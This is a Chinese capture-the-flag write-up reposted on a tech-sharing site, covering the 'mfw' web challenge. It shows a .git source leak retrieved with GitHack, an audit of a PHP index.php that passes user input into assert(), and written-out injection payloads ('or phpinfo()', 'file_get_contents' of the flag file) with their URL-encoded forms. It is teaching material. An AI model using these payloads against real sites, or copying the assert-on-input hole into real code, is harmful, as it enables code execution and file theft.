ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

攻防世界Web_mfw

2022-02-28 18:02:49  阅读:175  来源: 互联网

标签:Git Web git 攻防 assert 源码 file mfw php


一、git源码泄露

【实验原理】

git源码泄露,命令执行

【实验目的】

了解git源码泄露的处理方法

 

二、题目:

 

 

  1.发现没啥突破点,打开页面源码查看一下。之前都是右键查看源码,现在又get一个知识点view-source:http://111.200.241.244:56504/也能查看源码。

 

 

    2.得到?page=flag的信息。尝试访问一下,发现没有反应。

   

 

  3.发现这条路不通,重新找线索,进入About页面,发现使用Git + PHP + Bootstrap架构。

  

 

 

   4.查看一下有没有Git源码泄露,先用disrearch扫描一下目录。发现存在Git源码泄露漏洞。

  

 

 

 

    5.使用 GitHack ( https://github.com/lijiejie/GitHack )工具,直接用git clone下载。

   

  用法都一样,不会就查看帮助文档。

  

  6.python2 GitHack.py http://111.200.241.244:56504/.git/ 已经下载好了,直接查看。

  

 

   7.发现存在templates/flag.php ,直接查看,发现没有内容。

   

 

  8.打开index.php查看一下源码,进行代码审计。

 

<?php

if (isset($_GET['page'])) {
        $page = $_GET['page'];
} else {
        $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

代码审计得:

GET传page参数没有做过滤,所以我们可以进行命令执行漏洞。  

assert() 检查一个断言是否为 false,assert()函数会将括号中的字符当成代码来执行,并返回true或false.
strpos() 函数查找字符串在另一字符串中第一次出现的位置。如果没有找到则返回False。
file_exists() 函数检查文件或目录是否存在。

利用assert特性
bool assert(mixed $assertion[,string $description]) 如果assertion是字符串,他会被assert()当做php代码执行。

思路是通过可控变量file传入恶意参数,构造闭合 file_exists(),使assert()执行恶意代码。

构造file语句,')or phpinfo();#   此处是闭合file_exists()函数 效果如下:

assert("file_exists('') or phpinfo();#')")   执行phpinfo()代码。


?page=') or phpinfo();#   记得需要url编码。

结果如下:

 

既然能够进行命令执行,我们需要获得的内容是templates/flag.php 构造file语句:

') or print_r(file_get_contents('templates/flag.php'));#     

')%20or%20print_r(file_get_contents('templates%2fflag.php'))%3b%23    

url编码后输入view-source:http://111.200.241.244:57130/?page=%27)%20or%20print_r(file_get_contents(%27templates%2fflag.php%27))%3b%23

 

 

 =====================================================================================================

总结:

 

git源码泄露

 

当在一个空目录执行 git init 时,Git 会创建一个 .git 目录。 这个目录包含所有的 Git 存储和操作的对象。 如果想备份或复制一个版本库,只需把这个目录拷贝至另一处就可以了

 

比如某个网站存在.git文件泄露,可以:

http://www.baidu.com/.git

 

利用方式: github上的githack可以把整个.git备份的文件下载下来。它能解析 .git/index 文件,并找到工程中所有的:文件名和文件 sha1,然后去 .git/objects/ 文件夹下下载对应的文件,通过 zlib 解压文件,按原始的目录结构写入源代码

 

利用assert特性
bool assert(mixed $assertion[,string $description]) 如果assertion是字符串,他会被assert()当做php代码执行。

思路是通过可控变量file传入恶意参数,构造闭合 file_exists(),使assert()执行恶意代码。


 

标签:Git,Web,git,攻防,assert,源码,file,mfw,php
来源: https://www.cnblogs.com/shacker/p/15946812.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有